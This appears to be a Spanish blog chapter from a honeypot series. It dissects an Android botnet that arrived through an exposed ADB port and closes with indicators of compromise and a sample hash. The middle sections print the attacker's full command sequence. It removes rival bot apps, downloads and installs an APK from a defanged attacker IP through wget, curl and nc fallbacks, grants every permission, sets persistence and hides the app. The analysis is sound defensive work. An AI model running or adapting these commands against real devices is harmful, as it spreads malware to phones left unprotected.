ES EN
Índice

Sysorbit · Capítulo 7

El que entró por el cable de depuración

Los tres anteriores atacaban servidores. Este iba a por un teléfono: entró por ADB, borró a la competencia, instaló su app disfrazada de Google, y se escondió. Primer malware de Android en el cebo.

Las tres familias anteriores —XorDDoS, Mirai, RedTail— iban a por servidores Linux. Esta va a por otra cosa: un teléfono. El cebo tiene abierto el puerto 5555, el de ADB (Android Debug Bridge) — el canal de depuración de Android. Cuando queda expuesto a internet, es una puerta abierta sin contraseña a un dispositivo Android.

Y alguien la encontró. Este capítulo es la caza; el destripe del APK va en el Capítulo 8.

01La captura

Un bot escaneando el puerto 5555. En cuanto el cebo aceptó la conexión ADB, mandó una sola orden gigante — un shell de Android que hace todo de un tirón. El propio cebo, para capturar la muestra, se descargó el APK que la orden pedía.

  1. 00:00.0Conecta al 5555 desde 176.65.139.248. ADB no pide contraseña: entra directo.
  2. 00:00.3Desinstala a la competencia — una lista de bots rivales de Android — y limpia /data/local/tmp.
  3. 00:00.3Descarga su APK (sysorbit.apk) desde su propio servidor, lo instala concediéndole todos los permisos, arranca el servicio, y lo oculta de la lista de apps.

02La orden, al desnudo

Todo en una línea. La he troceado por fases para leerla, pero llegó de golpe:

A

Echar a los inquilinos anteriores

Antes de instalarse, desinstala a otros bots de Android que pudieran estar ya en el aparato. Quiere el teléfono para él solo — la misma guerra entre delincuentes que vimos en RedTail, pero en Android.

stage-A · desalojar rivales
pm uninstall com.manji.bot 2>/dev/null
pm uninstall com.iranbot.load 2>/dev/null
pm uninstall com.android.log_handler_v2 2>/dev/null
pm uninstall com.oreo.mcflurry 2>/dev/null
pm uninstall com.google.android.pms.update 2>/dev/null   # falso "pms"
pm uninstall com.google.android.gms.update 2>/dev/null   # falso "gms"
pm uninstall com.andriodakb.registerrs 2>/dev/null       # "andriod"
pm uninstall com.driots.sevice 2>/dev/null               # "sevice"
pm uninstall com.kbot.loadd 2>/dev/null                  # "loadd"
pm uninstall com.meowrisee.service 2>/dev/null
pm uninstall io.toy.zae 2>/dev/null
rm -rf /data/local/tmp/* 2>/dev/null
Fíjate en los nombresOnce paquetes rivales, y cuatro con erratas: sevice, andriod, loadd, registerrs. No son cosa mía al transcribir — están así en el comando que entró por el cable, y los he vuelto a comprobar contra el registro original antes de publicarlos.

Dice bastante del oficio: quien mantiene esa lista lleva apuntados los nombres de la competencia como quien apunta la compra en un papel, sin releerlo. Y el com.google.android.pms.update —«pms» en vez de «gms»— probablemente sea otro bot intentando disfrazarse de Google y equivocándose de letra.
B

Traer el APK — con red de seguridad

Descarga sysorbit.apk desde 176.65.139.248, probando todas las herramientas que pueda tener un Android (busybox, toolbox, toybox, wget, curl) y, si nada funciona, nc a un puerto suelto. La misma cascada obstinada del loader de Mirai.

stage-B · descarga en cascada
busybox wget hxxp://176.65.139[.]248/sysorbit.apk -O /data/local/tmp/x.apk ||
toybox  wget hxxp://176.65.139[.]248/sysorbit.apk -O /data/local/tmp/x.apk ||
curl    hxxp://176.65.139[.]248/sysorbit.apk -o /data/local/tmp/x.apk ||
busybox nc 176.65.139[.]248 30254 > /data/local/tmp/x.apk   # último recurso
C

Instalar, arrancar y esconderse

Instala con -g (todos los permisos de golpe), lanza el servicio del bot, se registra para arrancar tras un reinicio, y se oculta de la lista de aplicaciones. Para cuando el dueño del teléfono mire, no hay ningún icono nuevo.

stage-C · instalar + ocultar
pm install -r -g /data/local/tmp/x.apk           # -g = concede TODOS los permisos
am start-foreground-service -n com.sysorbit.service.security/.BotService
am broadcast -a android.intent.action.BOOT_COMPLETED \
   -n com.sysorbit.service.security/.RestartReceiver   # persistencia
pm hide com.sysorbit.service.security                   # desaparece de la lista
rm -rf /data/local/tmp/x.apk
El disfrazEl paquete se llama com.sysorbit.service.security — «servicio de seguridad» — y una vez dentro se presenta como una notificación de «Google Play Service Updates». Nombre inocuo, icono de sincronización del sistema, y pm hide para rematar. Todo pensado para que nadie lo busque.
Esta orden no la escribió nadie esta nocheCuando abrí el binario en el Capítulo 8 me encontré esta misma secuencia —la cascada de descarga, el pm install, el arranque del servicio— escondida dentro del propio bicho. No es que un atacante la teclee contra cada víctima: cada teléfono infectado la repite contra otros por su cuenta, sin esperar órdenes de nadie. Lo que ha entrado por mi puerto 5555 no es un intruso, es un aparato contagiado buscando al siguiente.

Y un detalle que da risa: la lista de rivales que el binario desinstala por su cuenta no es la misma que la de esta orden. Lleva dos paquetes que aquí no aparecen. Alguien actualizó una copia y se olvidó de la otra.

03El espécimen

El APK que el cebo capturó.

ESPÉCIMEN 004 · APK

Sysorbit · botnet Android

◈ VIVO · NO EJECUTAR
Tipo
APK firmado · 707 KB
Paquete
com.sysorbit.service.security
Empaquetado
DEX mínimo + librerías nativas (UPX)
Función
bot DDoS de Android
C2
cifrado en el binario — se destripa en el Cap. 8
SHA-256
31de5c5d0a3483e831e4f9348d46b3c5309177a7f9d6da537fc970f57f103901
Regla de la casaEl APK no se publica; el hash sí. Con ese SHA-256 cualquiera lo identifica en VirusTotal o MalwareBazaar sin que yo reparta el bicho.

04Indicadores (IOCs)

TipoValor
IP atacante / distribución176.65.139.248 (HTTP /sysorbit.apk · nc :30254)
Vía de entradaADB · puerto 5555
APKsysorbit.apk · 31de5c5d0a34…f103901
Paquetecom.sysorbit.service.security
Componentes.BotService · .MainActivity · .RestartReceiver
Rivales que desinstalacom.manji.bot · com.kbot.loadd · io.toy.zae · …

Continuará — el APK está empaquetado y su C2 escondido en código nativo. En el Capítulo 8 lo abro capa a capa con jadx y Ghidra. Me costó dos intentos y un día de por medio, pero acabó cantando a dónde llama. 🍯

Comentarios